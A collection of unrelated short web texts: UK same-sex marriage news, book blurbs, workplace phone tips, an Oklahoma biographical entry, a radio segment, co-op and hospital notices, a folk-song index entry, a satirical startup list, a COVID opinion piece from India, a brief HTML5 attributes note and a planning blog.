“From midnight tonight, Britain will be a different place,” he said.
“A place where, for the first time ever, couples can get married whether they are gay or straight … I hope that makes each of you feel extremely proud.”
Benjamin Cohen, the publisher of PinkNews said: “Our country has changed forever from today, thanks to the outstanding leadership of David Cameron and Nick Clegg in securing same-sex marriage equality, with the help and support of Ed Miliband.
“I believe that our country should feel proud that almost uniquely in the world, leaders from across the political spectrum put aside their differences to unite in favour of equality for all, regardless of their sexuality.”
But Mr Hart said the poll, commissioned by the Coalition for Marriage, showed the change would cost the Tories dear at the ballot box.
“This poll shows the electoral pain for the Conservative Party continues," he said.
"In 2013 they lost 335 council seats and control of 10 councils, its worst performance in a local election for around two decades.
“There were those who predicted that this would be the extent of the revolt against this policy and opposition would vanish once the law had been passed.
“Yet this poll proves that David Cameron’s continued support for redefining marriage, without any mandate from the British people, is still costing huge numbers of votes, ensuring that the 2014 local and Euro elections could be even worse.
"This policy seems to be the ultimate vote loser.”
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Marked by growing freedom and equality, today’s families are also dogged by brokenness and loss of faith. And while the theology of marriage has developed remarkably under the impetus of the Second Vatican Council and Pope John Paul II, the theology of the family remains in its infancy, only beginning to meet the challenges of contemporary society.
In Divine Likeness Marc Cardinal Ouellet points the way to a much-needed theology of the family grounded in the doctrine of the Trinity. Cardinal Ouellet understands family life to be a sacrament of Trinitarian communion, a crucial source for revealing and inspiring a new sense of God’s presence in the faith community. This book will help theologians, pastors, and believers to develop fruitfully the legacy of Pope John Paul II, carrying forward the quest to let the Trinity and the family illuminate each other for the good of today's world.
Though aimed at a learned audience familiar with Vatican II documents and writings of the late Pope John Paul II and others, this scholarly book is nevertheless accessible to a lay audience and may serve to whet readers’ appetites to investigate the original texts.
This is a wonderful book, written by one of our most penetrating thinkers and addressed to theologians, pastors, and all believers. Though we all have heard of the ‘domestic church,’ surprisingly little has been written that we could call ‘theology of the family.’ Cardinal Ouellet explores the relations between theology of the family and Christian anthropology and above all the relationship between the Trinity and the family. His goal, splendidly attained, is the rooting of a conjugal and evangelical spirituality of the family in the doctrine of the Trinity.
—Glenn W. Olsen, University of Utah
This book presents a view from above that nevertheless sinks its roots deep into an understanding of the contemporary crisis of marriage. Inserted into Christ’s paschal mystery, marriage and family are seen no longer as extrinsic but intrinsic to the mission of the Church. The author deftly builds a trinitarian anthropology of the family with an innovative emphasis on the Holy Spirit as bond of love and source of fruitfulness in divine and human communion. His concise, clear style surprises the reader with many felicitous phrases. As the firstfruits of theological analysis by a distinguished theologian (now cardinal primate of Canada) on the remarkable developments in the spirituality of marriage and family in the twentieth century, this book deserves to be widely read in both academic and pastoral spheres.
—Mary Shivanandan, John Paul II Institute, Catholic University of America
In the Logos edition, this volume is enhanced by amazing functionality. Important terms link to dictionaries, encyclopedias, and a wealth of other resources in your digital library. Perform powerful searches to find exactly what you’re looking for. Take the discussion with you using tablet and mobile apps. With Logos Bible Software, the most efficient and comprehensive research tools are in one place, so you get the most out of your study.
Marc Cardinal Ouellet is Prefect of the Congregation for Bishops and President of the Pontifical Commission for Latin America. Formerly, he was Archbishop of Québec and Primate of Canada. Cardinal Ouellet held the chair of dogmatic theology at the Pontifical John Paul II Institute for Studies on Marriage and Family in Rome from 1996 to 2002 and previously taught theology in both North and South America.
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Fearful of answering the phone? That’s about to change.
Learning how to answer the phone at work is surprisingly easy as making the best first impression relies on saying less and letting the other party do more. With the push of the (right) buttons, you’ll be improving your call rate within days.
We all have a branded spiel that we’re taught to say at the beginning of a work phone call. These rehearsed lines often make us sound prepared and professional — unless the script is so long it becomes clunky. A long, laborious script can set the tone for an awkward phone call and in some cases, can cause you to stumble over your words.
Make sure your script doesn’t exceed seven seconds of speaking time and don’t be afraid to record yourself practising the speech to find out. This will help you to cut out any unnecessary jargon. Can your business name be abbreviated yet still recognisable? Do you need to announce your brand name and your department? Is the alternate “good morning/good evening” part of your script confusing?
When it comes to cold calling, scriptwriting is a fine art. Just take a look at this guide by Pipedrive as an example. Don’t overlook your script as this is the first interaction you’re likely to have with plenty of your customers and sub-branch colleagues at work.
You’ll be surprised what you can comfortably remove from your initial call greeting to allow the conversation to run smoother and get started faster.
It’s the title of a classic Destiny’s Child song and one of the key things to remember if you’re relearning how to answer the phone at work. Edit down your script but don’t neglect to say your name. Always including “(name) speaking” at some point in your magic seven-second script.
Why? Saying your name instantly builds a rapport with the caller and makes sure your brand doesn’t appear face-less. Plus, if you need to take personal details from the customer at any point during the call, it will make them more likely to volunteer them, since they know some basic information about you.
In the case of complaint calls, giving your name can also soften an angry customer’s approach since they’ll be airing their grievances to an individual, rather than a corporate wall. Perhaps one of the biggest misconceptions about professionalism is people think being cold and corporate will score you extra brownie points. The opposite is true — there are plenty of benefits to being friendly at work, including increased trust between a team.
As we’re often in a position of authority during a work call, it can be tempting to always fill the gaps in conversation with extra knowledge, reassurance and information. However, you could be doing more damage than good by consistently sticking your oar in.
To figure out how to answer the phone at work, all you need to do is master the art of conversation. As the experts know, this act is largely about listening. More importantly, the type of listening matters. To have better conversations at work, you need to work on becoming an active listener.
Listening means to actually listen — not allowing the customer to talk while daydreaming about your weekend plans. Being an active listener is about picking up on quirky details, sentiment and tone of voice to interact more intelligently. Paying attention to the caller’s emotions will help you to solve a problem quicker and build a relationship faster.
Now you have nailed the emotional elements of a work phone call, it’s time to get practical. When was the last time you took a few minutes to get familiar with your handset and its functions? Whether this is a physical phone or a modern mobile app, you should have a good working knowledge of the system’s key features such as call mute buttons and how to transfer to external lines.
Have you ever had your call cut off when being transferred to a different department? Nothing is more frustrating to the customer than this mistake. Similarly, nothing appears more amateur to a boss than being hung up on.
What if a customer hears an internal conversation when the call should have been muted? At best, they might hear you raising your voice to flag down a relevant member of staff. At worst? They could listen to their case discussed unfavourably.
Voice Over Internet Protocol (VoIP) streamlines professional calls, so you don’t have to overthink it.
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MURROW, JOSEPH SAMUEL (1835–1929).
Pioneer Baptist missionary and considered to be the father of Oklahoma Masonry, Joseph Samuel Murrow was born the youngest child of Mary Badger and John Murrow on June 7, 1835, in Louisville, Georgia. Murrow attended Mercer University in Macon, Georgia, for three years and was licensed to preach in 1855. He was ordained a Baptist minister on September 16, 1857. The Rehoboth Baptist Association in Georgia offered to assist the Southern Baptist Convention by paying him to go to the Indian Territory, present Oklahoma, to help Henry Bucker, another missionary. The Creek Indians warmly welcomed Murrow to his first service in late 1857.
Before he left for Indian Territory, Murrow had married Nannie Elizabeth Tatom of Fulton, Mississippi, on October 8, 1857. The Murrows settled in North Fork Town, in the Creek Nation. The couple produced a daughter in July 1858, but shortly after birth she died. Then in August 1859 Murrow's young wife also died.
The young minister continued to travel over Indian Territory, often visiting other missionaries, including Willis Burns in the Choctaw Nation. On October 27, 1859, Murrow married Burns's daughter Clara. He then traveled to Little River Mission station in the Seminole Nation to make a home for his new wife. Murrow soon met another Baptist preacher, and the two organized a Baptist Church. The church soon grew to substantial size, and the family soon included three children. When the Civil War started, Murrow was appointed as Confederate agent to the Seminole. During the war Father Murrow, as he was now known, took his family to stay with friends in Texas. It was at this point in his life that he became a Freemason. In June 1867 a son named Samuel was born to the Murrows, an event that shortly cost Clara her life.
After her death he returned to his mission work, relocating to the Choctaw Nation, and he founded Atoka. In May 1869 he formed a church there and remained its pastor for twenty-three years. Then in December 1869 he married Jane Davidson. In 1870 an ailing Murrow returned home to Georgia, and his family placed him in an Atlanta hospital for the blind. He was later diagnosed with an eye disease caused by overwork and neglected health.
Nevertheless, he recovered and returned to Indian Territory, taking up his missionary work again. In 1872 Father Murrow called upon the Choctaw and Chickasaw people to establish the Choctaw and Chickasaw Baptist Association, which proved to be beneficial for both nations. He organized more than seventy-five Baptist churches in the Indian Territory. He assisted with the ordination of more than seventy Indian ministers and baptized more than two thousand people, most of whom were Indians. In 1888 Jane died, and he once again remarried, this time to missionary Kate Ellet, who worked with the Women's Baptist Missionary Society. She assisted him until her death in January 1915.
Rev. Joseph S. Murrow was one of the oldest and most distinguished Masons in Oklahoma. He organized the territory's first post–Civil War Masonic lodge, founded in Boggy Depot in 1868, the first chapter of Royal Arch Masons, established in McAlester in 1878, and the first Eastern Star chapter, begun in Atoka in 1879. He founded the Baptist Orphans Home for Indian Children in Atoka and assisted in establishing Bacone College for Indians in Muskogee. In 1921 he married Jennie Ragle, who survived him at his death on September 8, 1929.
Arlene Hirschfelder and Paulette Molin, The Encyclopedia of Native American Religions (New York: Facts on File, 1992).
Raymond L. Holcomb, Father Murrow: The Life and Times of Joseph Samuel Murrow, Baptist Missionary (Atoka, Okla.: Atoka County Historical Society, 1994).
Clara A. [Murrow] McBride, "Fifty Beautiful Years," The Indian Orphan (Atoka, Indian Territory) 5 (November 1907).
"Joseph S. Murrow," Vertical File, Research Division, Oklahoma Historical Society, Oklahoma City.
"Rev. Dr. Joseph Samuel Murrow," The Chronicles of Oklahoma 7 (December 1929).
The following (as per The Chicago Manual of Style, 17th edition) is the preferred citation for articles:
Andrea M. Martin, “Murrow, Joseph,” The Encyclopedia of Oklahoma History and Culture, https://www.okhistory.org/publications/enc/entry.php?entry=MU016.
© Oklahoma Historical Society
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Emily Abad is someone who was raised to put others’ needs ahead of her own and not speak up for herself. And so she struggled to find a balance between empathy and assertiveness. When her religious father refused to accept her after she came out as gay, she was at a loss as to what to do. Then she began working with kids at The Mosaic Project, an experiential education program addressing issues of diversity, empathy and conflict resolution. Teaching kids the power of speaking their truth from a place of love helped Abad to find her own voice. Inflection Point host Lauren Schiller spoke with Abad, director of programs for the California-based Mosaic Project, whose mission is to work toward a peaceful future by uniting children of diverse backgrounds, providing them with essential community building skills, and empowering them to become peacemakers.
That was Emily Abad, director of programs for The Mosaic Project. She was speaking with Inflection Point host Lauren Schiller, produced at KALW in San Francisco. Hear Schiller’s other conversations at inflectionpointradio.org, and on her Inflection Point podcast.
Women are increasingly using lethal means to commit suicide. Elizabeth Tracey reports.
And that’s our show for this week. Thanks to Patrick Garrett for production assistance. Our executive producer is Dr. Alan Chartock. Our theme music is Glow in the Dark by Kevin Bartlett. This show is a national production of Northeast Public Radio. If you’d like to hear this show again, sign up for our podcast, or visit the 51% archives on our web site at wamc.org. And follow us on Twitter @51PercentRadio
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From a communications perspective, participating in the NRECA international program is a good as gold. And I am basing that claim not only on my own experience- but on science, too.
You see, the human species is biologically hardwired to do good.
It’s is perplexing from a biology perspective, as most hardwired tendencies are all about survival.
This is quite the opposite.
Humans are hardwired to help one another- even when they incur no personal benefit, or have to pay a personal cost. When we help someone, our brains reward us by releasing neurochemicals that make us feel happy.
And here’s why this phenomenon is relevant to communicators: Research shows there is a ripple effect.
Witnessing, or simply reading stories about extraordinary acts of kindness make people feel good. When you can get your members to associate those good feelings with your co-op, it helps to establish an emotional connection. And for electric co-ops, research shows that emotional connection is key to fostering something we’re all after- engagement and loyalty.
You’d be hard pressed to find a story about an act of kindness that’s more extraordinary than the NRECA international program story.
Last fall Michigan co-ops partnered with NRECA International and sent 10 linemen to electrify Buena Vista, Guatemala. We told our story in many ways, but arguably it was told best with a website dedicated to the project- partnersforpower.org.
The website’s primary function was to host our “postcards from Guatemala series.” Each night one of the linemen would call me and tell me about the days adventures. I would condense the conversation into a 250 word postcard (a blog post with a photo) from that lineman.
These blog posts were short, interactive and very shareable. People could sign-up to receive them in their email inbox and the co-ops could easily share them to social media. During the two-week project the postcards got more than 16,000 views and up until the very last postcard people were still subscribing to receive them in their inbox.
Take five minutes to watch the Michigan project video below. My hunch (and hope) is that the ripple effect will leave you happy- and inspired to get involved.
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Once again, the heat and humidity have come earlier than we would like, which means we are in energy curtailment.
Many have asked, “Why is my office so dang cold? Aren’t we wasting energy by keeping spaces cold when it’s so hot?” That’s true of your home, where the system adds cool air and then turns off, waits for the temperature to rise, and then adds cooling again.
Patient care areas and research spaces require a constant rate of air flow. In buildings with these activities we combine both heated and chilled air, regulating temperature the way we adjust the water in a shower – adding both hot and cold to create a comfortable temperature. During curtailment, we produce less heated air because nature does that for us. This means some spaces will feel cold.
We also save energy by “pre-cooling.” Spaces are cooled just a little bit extra before it gets hot and the sun is beating down, which makes it easier for the system to keep up once the heat and humidity are in full force.
Buildings without research or patient care may feel warmer than usual, as less energy will be used to cool them. Please call 9-4050 (UNMC) or 2-3347 (Nebraska Medicine) to report spaces colder than 66 degrees or warmer than 75 degrees.
Why put ourselves through this? Lower energy use means better air quality, which means a healthier community, and better health is our mission.
Our utility rates are based on our peak use. The maximum amount of energy we use at a given time determines the rate we pay for the entire next year. We want to keep that peak as low as possible.
We need your help! When the outside temperature becomes unbearable, we’ll ask you to turn lights off where ambient light is adequate, unplug electrical devices when not in use, and to close your window blinds to keep the sun out. These easy steps combine to have a huge impact – during the hot days and in the year ahead.
So, counterintuitive as it seems, when the mercury climbs this summer, be prepared – dress in layers. Stow a sweater, closed-toe shoes, and some socks in a desk drawer. Help improve community health by keeping your lights off and your window blinds closed.
If improving health, reducing pollution, and saving money aren’t enough incentives, the TREAT PATROL will make the rounds, randomly showing up in spaces to reward people for these efforts:
To help ease the energy load:
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Da Mbeadh Mac an Mhaoir Agam
DESCRIPTION: Gaelic. The singer wishes he had the shepherd's pet snowy lamb. He wishes he had a herd of cows "and Mollie from her mother." Chorus: he wishes he had his girl, her mother's pet.
EARLIEST DATE: 1952 (OCroinin/Cronin-TheSongsOfElizabethCronin)
KEYWORDS: foreignlanguage marriage work animal
FOUND IN: Ireland
REFERENCES (1 citation):
OCroinin/Cronin-TheSongsOfElizabethCronin 46, "Da Mbeadh Mac an Mhaoir Agam" (2 texts)
NOTES [77 words]: The description is a summary of the translation at George Sigerson, Bards of the Gael and Gall (London: T Fisher-Unwin, 1897), pp. 337-338, "The Shepherd's Pet." OCroinin/Cronin-TheSongsOfElizabethCronin, which has no English summary for this song: "Sigerson's English text is eclectic"; on the other hand it is not far from the translation under the title "Peata Beag" at http://www.celticlyricscorner.net/dervish/peata.htm on the Celtic Lyrics Corner site. - BS
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CMT markalı, ürün kodu WTK-CT-80001 olan CMT WTK-CT-80001 Marine Potable Water ürününün fiyat ve detaylarını aşağıda inceleyebilirsiniz. Teklif almak için online teklif formunu doldurunuz.
Detaylı Bilgi - CMT WTK-CT-80001 Marine Potable Water Marine Potable Water
Improperly managed Potable water is an established route for infectious disease transmission onboard!
You may now think yourself being on the safe side as onboard your vessel only bottled water is used for drinking but what about the water used for personal hygiene? What about the water used for food preparation, the water used to clean the surfaces you come in contact daily? All of it needs to be of such high quality that transmission of diseases is prevented and it needs to be available in such quantities that all types of useage can be covered.
The \"Guide to Ship Sanitation\" issued by the WHO mentions the following hazardous elements roughly divided into two groups:
Microbes that cause infectious disease or food poisoning, such as bacteria, viruses and parasites
Organic and inorganic substances that may cause health hazards, such as substances that can cause acute poisoning, substances that accumulate in the human organisms causing health hazards, carcinogenic compounds and/or allergenic substances
International regulations regarding the Potable Water Quality Monitoring and Control were driven by the World Health Organization (WHO) via its International Health Regulations (IHR). Soon enough adapted for on-board potable water, as part of the overall Ship Sanitation Certificate. Current International Health Regulations (2005) and ILO 178 (2009) apply to all countries/flag states that have ratified to them. The ILO Maritime Labour Convention, (MLC 2006) does apply to all seagoing vessels. Monitoring and control compliance procedures are laid out in the Guide for Ship Sanitation detailing:
the systems that require monitoring,
the method and frequency of monitoring
the record keeping requirements
The draft guidelines were created in close collaboration with the International Labour Organisation (ILO) and the International Maritime Organisation (IMO). Alongside SOLAS, MARPOL and the STCW Convention the MLC 2006 has been introduced as the fourth pillar of the regulatory regime of IMO. It will require an MLC 2006 certificate. Simple regular assessment and testing of the potable water system for microbiological activity, biocide (disinfection control) and implementing a correct control scheme (i.e. temperature monitoring), will ultimately reduce the risk of a disease and save lives.
According to ILO MLC (2006), IHR (2005) and ILO 178 (2009) a qualified person is required onboard the vessel or rig to perform the test.CMT does provide a complete training for Marine Portable Water to ensure understanding the legislation and performing all test according the legislations. At the end of the training each attendee will get a certificate proving the respective qualification.
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Published annually since 1972, the Historic Documents series has made primary source research easy by presenting excerpts from documents on the important events of each year for the United States and the World. Each volume pairs 60 to 70 original background narratives with well over 100 documents to chronicle the major events of the year, from official reports and surveys to speeches from leaders and opinion makers, to court cases, legislation, testimony, and much more. Historic Documents is renowned for the well-written and informative background, history, and context it provides for each document. Organized chronologically, each volume covers the same wide range of topics: business, the economy and labor; energy, environment, science, technology, and transportation; government and politics; health and social services; international affairs; national security and terrorism; and rights and justice. Each volume begins with an insightful essay that sets the year’s events in context, and each document or group of documents is preceded by a comprehensive introduction that provides background information on the event. Full-source citations are provided. Readers have easy access to material through a detailed, thematic table of contents, and each event includes references to related coverage and documents from the last ten editions of the series.
Chapter : Government and Free Youth Movement Respond to Protests in Thailand : July 18, October 15, October 18, and October 19, 2020
Government and Free Youth Movement Respond to Protests in Thailand : July 18, October 15, October 18, and October 19, 2020
Major protests occurred across Thailand in the second half of 2020 in response to the government’s dissolution of a leading opposition party and alleged involvement in the kidnapping of a pro-democracy activist. Comprised mainly of students and other young Thai, the groups behind the protests had varied demands, ranging from the dissolution of the National Assembly of Thailand to writing of a new constitution and monarchy reforms. The government, led by Prime Minister Prayuth Chan-o-cha and a military junta, first sought to stifle the demonstrations by emergency decree ...
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SUSTAINABLE PRODUCTION & SOCIAL RESPONSABILITY
As a manufacturing Interior design brand, we’re acutely aware of the environmental and socio-economic challenges that we need to own up to as a company. we believe deeply in taking responsibility about how we produce and who produces our products
“Sustainability” as a term has been used and misused so frequently over the past decade, that claiming you’re sustainable, isn’t specific enough. As a result, we would like to describe how MATIAS MOELLENBACH as a brand own up to our environmental responsibilities.
We currently manufacture our products in Denmark, Czech Republic, Hungary and China.
Two key areas that we’re especially focused on:
We only work with natural material that has a long lifespan.
Working mainly with glass and ceramic, our products has a very large lifespan. Which largely overweighs the energy being put into producing them.
We also make sure to transport by sea – thus avoiding polluting air traffic.
Equally all our glass is recyclable as well.
A huge thing for us. We want to make sure everyone working for us or in the factories producing our products work in a healthy work environment and aren’t breaking any laws.
We enforce this by making all our contractors sign a through “code of conduct”.
Secondly, and not to be underestimated, we don’t pressure our contractors. Contractors sometimes stretch themselves and their employees unmorally much to meet the demands of clients. effectively making factory workers work 12+ hours a day, 6 days a week, In lure of extra wage. We don’t work that much, and neither should anyone else.
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by J.I. Packer | Intervarsity Press (2002) | Paperback
For over 40 years, J. I. Packer's classic has been an important tool to help Christians around the world discover the wonder, the glory and the joy of knowing God. In 2006, Christianity Today voted this title one of the top 50 books that have shaped evangelicals. This edition is updated with Americanized language and spelling and a new preface by the author.
Stemming from Packer's profound theological knowledge, Knowing God brings together two important facets of the Christian faith—knowing about God and also knowing God through the context of a close relationship with the person of Jesus Christ. Written in an engaging and practical tone, this thought-provoking work seeks to transform and enrich the Christian understanding of God.
Explaining both who God is and how we can relate to Him, Packer divides his book into three sections: The first directs our attention to how and why we know God, the second to the attributes of God and the third to the benefits enjoyed by a those who know Him intimately. This guide leads readers into a greater understanding of God while providing advice to gaining a closer relationship with Him as a result.
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He inspired his preachers and his people with his own spirit and made everything subordinate to his overmastering purpose, the spread of scriptural holiness throughout the land.
At rare intervals a vision might perhaps be vouchsafed to some Montanistic old woman, or a brother might now and then have a dream that seemed to be of supernatural origin; but the overmastering power of religious enthusiasm was a thing of which the Montanists knew as little as the Catholics.
To achieve this one end had, indeed, become the overmastering passion of Mahmud's life, to defeat it the object of all Mehemet Ali's policy.
But, as he grew stronger, his desire for their good opinion paled before an overmastering propensity to meddle in the affairs of foreign nations.
Everything is made subordinate to the overmastering dictates of war.
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6 Ways to Kill Your Startup
This piece was originally published on Entrepreneur.
Sometimes the best way to learn how to do something is to understand how NOT to do something—to think of things in reverse. Ben Stein (of Ferris Bueller fame) achieved this with great effect with his book, How to Ruin Your Life. Buried in the book’s tongue-in-cheek humor and masked by its sardonic tone were some life lessons that I’ve actually found to be quite valuable.
In homage to Ben, I’m hoping to take a similar approach in my advice to entrepreneurs in the early stages of their businesses. Below is a list of seven ways to ruin your startup. I hope that, by doing the exact opposite of the points below, you’ll find some valuable lessons on running and starting a business effectively.
1. Borrow money early.
As an entrepreneur, one thing that you definitely want to have is structured payments that are due regularly stacked against cash flow that is unpredictable and unreliable. By the way, be sure to borrow money when a bank will lend it to you. If a banker is willing to make a loan, you should assume that you, by default, have the ability to pay it back. Borrow as much as you can and be sure to do it early in the business’ life.
2. Hire as many people as quickly as you can.
The key here is to have a very high overhead rate so that you have to keep making more and more sales. You also want to hire people when your business model is not truly proven so that you have fixed salaries to pay with uneven sales.
3. Focus on doing a business plan.
Now what you really want to do in the first few years in business is think globally. Focus your energy on creating a dynamic, MBA-style business plan; revenue and customers can wait. What you need is a fully-fleshed out plan of attack that would place highly in a competition held by Wharton. The most important thing you can do in a startup is plan heavily. Business is about planning, not execution. Operate under the assumption that a good plan will automatically lead to sales. On that note, be sure to have a good looking website and nice office space from day one.
4. Get a management team in place.
Be sure you have a CFO, COO, CTO, CIO and CMO from your company’s inception. It is important to have a full management team when you are starting and building a business. A full management team provides structure in the business and, more importantly, an impressive “Executives” page on your website. The added benefit of having C-level executives in a startup is that they’re very expensive, so you will ensure that your overhead costs are very high.
5. Focus on perception.
Spend a lot of resources on an accounting system, HR technology, office furniture, insurance and ping pong tables and games. What you want are the trappings of success, not tangible things like customers, revenue and profits. Image is important. Look at other companies like Apple and Google and compare yourself to those companies. Use them as benchmarks. You have to spend money to make money, so spend as much as you can. Customers and revenue can wait, but you only get one chance to make a first impression.
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6. Spend a lot of time seeking venture capital and private equity money.
VC firms fund about one percent of the deals that they look at, which represents a good risk vs. return ratio for you. Don’t worry about the quality of the product/service you offer. Assume that will take care of itself. Because the market is efficient and customers tend to make intelligent choices, you don’t need to worry about the quality of your product or service when you are growing your company. Customers should be honored that you are willing to provide them with your product or service. Your time is better spent on planning and thinking and having a lot of meetings with your employees. Preferably, link venture capital money with a poor product and service, and assume that lots of capital and a bad product will really escalate your results.
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BRA Day is an initiative designed to promote education, awareness and access for women who may wish to consider post-mastectomy breast reconstruction.
Body & Wound
Every year, thousand of wounds are reconstructed by Canadian plastic surgeons, including those related to cancer operations, accidents, traumas, and severed limbs.
One of the most common types of reconstructed wounds are related to skin cancer excision.
Plastic surgeons also help give mouth cancer survivors a chance to have normal appearance, speech and swallowing by reconstructing any parts (e.g., jaw, tongue, etc.) that were removed to cut out the cancer.
After accidents and other trauma, plastic surgeons will transfer muscle, skin and bone from one part of the body to rebuild another. This type of reconstruction will often allow patients to keep a limb that would have otherwise been amputated.
Plastic surgeons also reattach body parts that have been accidentally severed. Some parts that cannot be replanted can sometimes be reconstructed. For example, if a person has lost his thumb, the first or second toe can be transferred to the hand to provide excellent hand function as a “thoe.”
Photos below: hand missing a thumb; great toe will go on hand to replace thumb.
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New Delhi | Welcome to the darkest hour of the democracy in India. If the coronavirus outbreak has taught us anything beyond the necessity of careful hygiene, it’s that the first victim of a pandemic is leadership. At no time in the past 73 years has the country been in more need of a “the only thing we have to fear is fear itself” moment; and at no time have Indian leaders so utterly failed to deliver.
Many people blame the coronavirus epidemic on globalization, and say that the only way to prevent more such outbreaks is to de-globalize the world. Build walls, restrict travel, reduce trade. However, while short-term quarantine is essential to stop epidemics, long-term isolationism will lead to economic collapse without offering any real protection against infectious diseases. Just the opposite. The real antidote to epidemic is not segregation, but rather cooperation.
Epidemics killed millions of people long before the current age of globalization. In the 14th century there were no airplanes and cruise ships, and yet the Black Death spread from East Asia to Western Europe in little more than a decade. It killed between 75 million and 200 million people – more than a quarter of the population of Eurasia.
As India grapples with Corona virus, which has been declared as pandemic by WHO, that has killed at least 140 people and sickened hundreds, the country’s 1.2 billion people are asking what went wrong. Senior officials are engaging in an unusually blunt display of finger pointing. So many officials have denied responsibility that some online users joke that they are watching a passing-the-buck competition.
While, at this crucial time, the country needed leaders, who come forward and make the citizens aware about the pandemic by whatever medium they can, using television, newspapers, social media campaigns; all they have done is almost zero.
Like the virus itself, which scientists have traced to the Chinese city of Wuhan , the prevailing political strategy by Indian leaders, for confronting the crisis was Made in China.
While the PM of the nation, just cancelled his foreign trips, after the outbreak, and just tried to speak to his counterparts from the SAARC nations, very little was done on ground for the preparedness of the spread of the disease. Raising a platform ticket price from Rs. 10 to Rs. 50 can’t be termed as a solution for corona widespread.
Similar is the case with the opposition leaders. While they kept on shifting the goal post, Congress leader Rahul Gandhi, did sensibly made few tweets about the impacts of Corona virus, but that was, too little, which can be expected from a leader of opposition leaders.
The story doesn’t end here. There had been leaders as dumb as Suman Haripriya, an elected member of the ruling Bharatiya Janata Party (BJP), who said that cow urine and cow dung could be used to combat the outbreak. Chakrapani Maharaj, a Hindu leader, told a news site he would be organizing an event to educate people on the use of cow products to fight the disease.
Baba Ramdev, a popular guru, told a television channel that Ayurvedic remedies could be deployed. And a few days ago Yogi Adityanath, the fire-breathing Hindu-nationalist chief minister of Uttar Pradesh, exhorted Indians to practice yoga to overcome stress and stay strong against various diseases, including the coronavirus.
People have come across, and asked a question from themselves, as when the health minister claims of cent percent preparedness of the country about the COVID-19, why is there a scarcity of face masks and sanitizers. Why a stock was not prepared for it, well in advance, why is the government dependent on only few test centres for confirming the cases of COVID-19?
If there’s one leader who should recognize the historic gravitas of the moment and rise to it with stirring rhetoric matched by action, it’s the woman who modeled her political career on Indira Gandhi, her grand daughter Priyanka Gandhi. She did sensibly tried to make people aware about the outbreak of the virus, which showed that she cared about the outbreak.
आज दुनिया के तमाम देशों समेत हमारा देश भी कोरोना वायरस जैसी महामारी चपेट में है।
एक जिम्मेदार नागरिक होने के नाते कुछ छोटी-छोटी सावधानियां करके हम इस बीमारी को फैलने से रोक सकते हैं।
— Priyanka Gandhi Vadra (@priyankagandhi) March 13, 2020
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This tenet of our work was brought into sharp focus in a recent article in The New York Times, “Detailed New National Maps Show How Neighborhoods Shape Children for Life,” by Emily Badger and Quoctrung Bui. The article highlights data from the Census Bureau and researchers at Harvard and Brown universities that offer a long view of what happens to children who grow up in areas of poverty. The research is presented at a hyper-local scale, leveraging data to track what happens in individual neighborhoods like never before.
From the article, “I believe the results of the data, but we all wish we knew what the distinguishing attributes are, so that we could build them in other neighborhoods,” said Andria Lazaga, the director of policy and strategic initiatives with the Seattle Housing Authority. “That’s the dream — to figure that out.”
At Purpose Built Communities, our work with neighborhoods across the country for more than 20 years indicates that it isn’t just affordable housing or jobs or education or access to healthcare, but all of those attributes and more that determine whether a neighborhood is a place that perpetuates poverty or helps people achieve more than previous generations. The variables that influence place-based poverty are interdependent. Fundamentally reshaping a neighborhood to increase opportunity involves bringing a holistic and concurrent approach to mixed-income housing, high-quality cradle-to-college education resources and health and wellness services and infrastructure like clinics and gathering spaces like parks, all envisioned and executed in deep and ongoing collaboration with those who live in the neighborhood. Some of the outcomes of this approach are the building social capital that increases economic mobility and improved health outcomes for everyone.
We’ve seen it work in Atlanta’s East Lake neighborhood, where the achievement gap is closing. The high school dropout rate was once nearly 75 percent, yet the Charles R. Drew Charter School graduated 100 percent of its first senior class, and the entire neighborhood is growing along with those students. And in the Bayou District of New Orleans, 685 mixed-income rental apartment homes have been built on the site of a former public housing complex and crime has gone down by 95 percent; this offers children a safe, healthy environment with exposure to professions and choices they often lack when living in low-income housing. We’re seeing it play out daily in Charlotte, North Carolina, where more than 55 community organizations partner to provide health and wellness services to residents of the West Boulevard corridor, because people can achieve more when they are physically and emotionally healthy.
With the Purpose Built Communities model of holistic neighborhood revitalization, a growing number of communities nationwide are working to break the cycle of intergenerational poverty and create a world where geography no longer limits human potential. This research will prove valuable to city planners, community leaders and others across the country, including the organizations in the Purpose Built Communities Network—because it will help refine the strategies that are already working. It reinforces and offers new insights into what we have known to be true for a long time: your neighborhood matters.
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Attributes which apply to all elements are called global attributes like accesskey, class, dir, id, lang, style, tabindex and title. There are also several new global attributes in HTML5 as
- The contenteditable attribute for an editable area.
- The contextmenu attribute for a context menu.
- The data-* collection of author-defined attributes.
- The draggable and dropzone attributes.
- The hidden attribute for an element which is not yet, relevant.
- The role and aria-* collection attributes.
- The spellcheck attribute.
HTML5 also makes all event handler attributes from HTML4, which take the form onevent-name, global attributes and adds several new event handler attributes for new events it defines. E.g. the play event which is used by the API for the media elements (video and audio).
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We have completed another lap around the sun, and that’s often a time to think about our plans for the new year. In my previous post, I talked about New Year’s Resolutions and thinking in smaller steps rather than a goal that might take 12 months to complete. But if you only think in small steps and focus on where you want to be in a few days or weeks, then it’s often hard to know if you’re going in the right direction – there can be such a big gap between where you are and where you want to be.
If you were planning on travelling from Toronto to Montreal then you need to plan further ahead than just “which street do I take now?” You might think that was a bad example as the 401 covers the vast majority of the distance, but that assumes you’re optimising for time and that your method of travel is by road, i.e. you have already ruled out many alternatives. Take a step back and consider your goals: if minimising travel time is the primary aim, then flying is significantly faster. If you want the freedom to move around and have a meal without it impacting your travel time, then the train could be your best option.
But let’s go back to driving between the two cities, and assume we have picked the route we would like to take. We set off but before long we discover there’s a problem ahead: an accident is causing a long delay. If we had only been inspecting our progress over small steps, then we might not see the impact of the accident until we’re sitting in the traffic jam and it’s too late to do anything else. We would see a similar outcome if we set the route and followed it regardless of what we discovered along the way. One of the reasons we chose to drive is to have flexibility – we can’t easily change our route if we chose to fly or take the train.
Choosing flexibility (aka agility) may not be the cheapest, fastest or most comfortable path, but it gives us options when new information (whether that’s delays or shortcuts) is available … so we should ensure that we take advantage of that discovery, otherwise we probably shouldn’t have picked this approach!
The plans we create should provide clarity on where we want to be in the future (and why!) but we also should revise them when we see a better alternative. Sometimes it’s a detour that still gets us to our destination but in a better (faster / cheaper / safer) way, but sometimes the discovery is that our goal needs to change – maybe the reason we were heading to Montreal can also be achieved in Ottawa, saving about an hour of driving. If we don’t respond to that new information, then why didn’t we just get on the train, put our feet up, and just enjoy being passengers?
